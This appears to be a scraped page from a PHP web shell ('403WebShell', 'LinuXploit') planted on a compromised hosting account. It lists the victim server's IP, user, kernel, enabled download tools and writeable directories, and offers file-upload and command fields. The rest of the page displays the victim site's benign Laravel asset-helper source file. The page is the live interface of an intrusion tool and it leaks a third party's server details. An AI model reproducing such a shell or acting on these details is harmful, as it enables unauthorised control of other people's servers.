Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.15.218.44
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/app/Helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/app/Helpers/Assets.php
<?php
/**
 * Created by PhpStorm.
 * User: Admin
 * Date: 8/9/2019
 * Time: 1:14 PM
 */
namespace App\Helpers;

class Assets
{
    static protected $jsFiles = [];
    static protected $cssFiles = [];

    static function registerJs($file,$inFooter = true, $pos = 10,$version = false,$in_line = false){
        if(empty($file)) return;
        static::$jsFiles[md5($file)] = [
            'file'=>$file,
            'posision'=>$pos,
            'in_footer'=>$inFooter,
            'version'=>$version,
            'in_line'=>$in_line,
        ];
    }
    static function registerCss($file,$inFooter = false, $pos = 10,$version = false){
        if(empty($file)) return;

        static::$cssFiles[md5($file)] = [
            'file'=>$file,
            'posision'=>$pos,
            'in_footer'=>$inFooter,
            'version'=>$version
        ];
    }

    static function js($inFooter = false)
    {
        $res = [];
        $html = '';
        foreach (static::$jsFiles as $file)
        {
            if($file['in_footer'] == $inFooter){
                $res[] = $file;
            }
        }

        $res = array_values(\Illuminate\Support\Arr::sort($res, function ($value) {
            return $value['position'] ?? 10;
        }));

        if(!empty($res))
        {
            foreach ($res as $item) {
                if($item['in_line']){
                    $html.=sprintf('<script type="text/javascript">%s</script>'.PHP_EOL,$item['file']);
                }else {
                    $html .= sprintf('<script type="text/javascript" src="%s"></script>' . PHP_EOL, static::__handleUrl($item));
                }
            }
        }
        return $html;
    }

    static function css($inFooter = false)
    {
        $res = [];
        $html = '';

        foreach (static::$cssFiles as $file)
        {
            if($file['in_footer'] == $inFooter){
                $res[] = $file;
            }
        }

        $res = array_values(\Illuminate\Support\Arr::sort($res, function ($value) {
            return $value['position'] ?? 10;
        }));
        if(!empty($res))
        {
            foreach ($res as $item) {

                $html.= sprintf('<link rel="stylesheet" href="%s">'.PHP_EOL,static::__handleUrl($item));
            }
        }
        return $html;
    }

    static function __handleUrl($item){

        $url = $item['file'];

        if(substr($url,0,4) != 'http' and  substr($url,0,2) !='//'){
            $url = asset($url);

            $v = !empty($item['version']) ? $item['version'] : config('app.version');
            if(strpos($url,'?') !== false){
                $url.='&_v='.$v;
            }else{
                $url.='?_v='.$v;
            }
        }

        return $url;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit